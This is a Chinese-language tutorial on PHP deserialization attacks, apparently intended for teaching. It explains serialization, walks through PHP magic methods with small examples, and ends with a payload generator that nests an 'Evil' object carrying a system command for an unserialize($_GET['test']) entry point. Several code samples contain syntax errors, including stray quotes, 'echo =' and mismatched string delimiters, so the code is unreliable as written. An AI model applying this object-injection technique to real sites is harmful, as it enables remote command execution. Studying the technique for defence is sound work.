- 序列化:将php对象压缩并按照一定格式转换成字符串过程
- 反序列化:从字符串转换回php对象的过程
- 目的:为了方便php对象的传输和存储
seriallize() 传入参数为php对象,序列化成字符串
unserialize() 传入字符串,反序列化成一个对象
下图,上面是php对象,下面是 序列化结果 
强调:序列化的过程,只序列化属性,不序列化函数
利用unserilize()接受的参数是用户可控,攻击者输入精心构造的字符串,再转换成对象的过程中实现攻击
只序列化属性,不序列化方法,所有对象的属性是唯一的攻击入口
- class A
- {
- function __construct()
- {
- echo "this is a construct function":
- }
- }
- $a = new A();
- ?>
当$a = new A() 这条语句被执行的时候,__construct()方法就会被调用
- class A
- {
- function __construct()
- {
- echo "this is a construct function";
- }
- function __destruct()
- {
- echo "this is a destruct function";
- }
- }
-
- $a = new A();
- ?>
这个方法,不管是啥情况,只要代码执行,肯定有结束的时候,就一定会调用析构函数
- class A
- {
- private $test;
- public $test2;
- public function __construct($test)
- {
- $this->test = $test;
- }
- public function __sleep()
- {
- echo "this is a sleep function";
-
- return array('test'); //这里必须返回一个数值,里面的参数表示返回的属性名称
- }
- }
- $a = new A("Aurora");
- echo serialize($a);
- ?>
在代码中有serialize()方法的出现,__sleep()这个魔术方法一定会被调用
是在反序列化的过程会被调用
当unserialize()函数出现,__wakeup()这个魔术方法一定会被调用
注意:反序列化看似是构造一个对象,但并没有调用到constant方法,而是调用__wakeup()方法
-
- class A
- {
- private $test;'
- public function __construct($test)
- {
- $this->test = $test;
- }
- function __toString()
- {
- $str = "this is a toString function";
- return $str;
- }
- }
- $a = new A("Aurora");
- echo $a; //这里将$a做为字符串来输出
- ?>
- class A
- {
- private $test;
- public function __construct($test)
- {
- $this->test = $test;
- }
- function __invoke()
- {
- echo = "this is a invoke function";
- }
- }
- $a = new A("Aurora");
- $a(); //$a是一个对象,但却用$a()调用方法的方法使用它
- ?>
上面$a()就是将对象作为函数来调用的例子
- class A
- {
- private $test;
- public function __construct($test)
- {
- $this->test = $test;
- }
- function __call($funName,$arguments) //参数funName指的是函数名,arguments指的是参数
-
- {
- echo "你所调用的方法:“.$funName."(参数:"; //输出调用不存在的方法名
- print_r($arguments);
- echo ")不存在!
\n"; //结束换行 - }
- $a = new A("Aurora");
- $a->test('no','this','function'); //可以看到A类中并没有test()方法
- ?>
1.
首先要找到攻击的入口,对于上面的php代码,攻击的入口是unserialize($_GET['test']);
输入的参数的一串被序列字符串,里面创建一个Aurora对象的test变量是一个Evil对象,Evil对象中的test2属性是我们想要执行的系统命令
生成payload
- class Aurora{
- private $test;
- function __construct()
- {
- $this->test = new Evil();
-
- }
- }
- class Evil{
- var $test2 = "ls";
- }
- $Aurora = new Aurora();
- $data = serialize($Aurora);
- echo($data);
- ?>
使用在线php工具进行运行就能得到payload

-